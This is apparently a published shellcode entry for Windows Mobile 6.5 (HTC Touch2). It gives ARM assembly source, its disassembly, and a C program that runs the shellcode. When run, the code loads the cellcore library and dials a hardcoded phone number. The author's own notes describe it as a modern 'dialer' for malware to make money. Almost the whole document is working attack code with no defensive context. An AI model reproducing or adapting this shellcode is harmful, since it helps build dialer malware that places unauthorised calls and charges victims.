107 lines
No EOL
2.2 KiB
C++
107 lines
No EOL
2.2 KiB
C++
Title: Windows Mobile 6.5 TR Phone Call Shellcode
|
||
Author: Celil Ünüver
|
||
/*
|
||
|
||
Device: HTC Touch2
|
||
System: Windows Mobile 6.5 TR (WinCE 5.0.2)
|
||
|
||
Coded by Celil ‹n¸ver from SecurityArchitect
|
||
|
||
Contact:
|
||
celilunuver[n*spam]gmail.com
|
||
www.securityarchitect.org
|
||
blog.securityarchitect.org
|
||
|
||
|
||
Notes: thats a PhoneCall Shellcode! Do you remember the time of dialers? Dial-up Modem times? ;)
|
||
|
||
now is it the time of mobile dialers and malwares to make $$ ? :)
|
||
|
||
|
||
EXPORT start
|
||
AREA .text, CODE
|
||
start
|
||
ldr R12, =0x3f6272c
|
||
adr r0, lib
|
||
mov lr, pc
|
||
mov pc, r12
|
||
ldr r12, =0x2e806dc
|
||
adr r0, num
|
||
mov r3, #0
|
||
mov r2, #0
|
||
mov r1, #0
|
||
mov lr, pc
|
||
mov pc, r12
|
||
|
||
lib dcb "c",0,"e",0,"l",0,"l",0,"c",0,"o",0,"r",0,"e",0,0,0,0,0
|
||
num dcb "3",0,"1",0,"3",0,"3",0,"7",0,0,0
|
||
ALIGN
|
||
|
||
END
|
||
|
||
dumpbin /disasm:
|
||
|
||
00011000: E59FC044 ldr r12, [pc, #0x44]
|
||
00011004: E28F0020 add r0, pc, #0x20
|
||
00011008: E1A0E00F mov lr, pc
|
||
0001100C: E1A0F00C mov pc, r12
|
||
00011010: E59FC038 ldr r12, [pc, #0x38]
|
||
00011014: E28F0024 add r0, pc, #0x24
|
||
00011018: E3A03000 mov r3, #0
|
||
0001101C: E3A02000 mov r2, #0
|
||
00011020: E3A01000 mov r1, #0
|
||
00011024: E1A0E00F mov lr, pc
|
||
00011028: E1A0F00C mov pc, r12
|
||
0001102C: 00650063 rsbeq r0, r5, r3, rrx
|
||
00011030: 006C006C rsbeq r0, r12, r12, rrx
|
||
00011034: 006F0063 rsbeq r0, pc, r3, rrx
|
||
00011038: 00650072 rsbeq r0, r5, r2, ror r0
|
||
0001103C: 00000000 andeq r0, r0, r0
|
||
00011040: 00310033 eoreqs r0, r1, r3, lsr r0
|
||
00011044: 00330033 eoreqs r0, r3, r3, lsr r0
|
||
00011048: 00000037 andeq r0, r0, r7, lsr r0
|
||
0001104C: 03F6272C
|
||
00011050: 02E806DC rsceq r0, r8, #0xDC, 12
|
||
|
||
|
||
"i don't think we have any imperfections; we perfectly are what we are."
|
||
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
#include <windows.h>
|
||
|
||
int shellcode[] =
|
||
{
|
||
0xE59FC044,
|
||
0xE28F0020,
|
||
0xE1A0E00F,
|
||
0xE1A0F00C,
|
||
0xE59FC038,
|
||
0xE28F0024,
|
||
0xE3A03000,
|
||
0xE3A02000,
|
||
0xE3A01000,
|
||
0xE1A0E00F,
|
||
0xE1A0F00C,
|
||
0x00650063,
|
||
0x006C006C,
|
||
0x006F0063,
|
||
0x00650072,
|
||
0x00000000,
|
||
0x00310033,
|
||
0x00330033,
|
||
0x00000037,
|
||
0x03F6272C,
|
||
0x02E806DC,
|
||
};
|
||
|
||
int WINAPI WinMain( HINSTANCE hInstance,
|
||
HINSTANCE hPrevInstance,
|
||
LPTSTR lpCmdLine,
|
||
int nCmdShow)
|
||
{
|
||
((void (*)(void)) & shellcode)();
|
||
|
||
return 0;
|
||
} |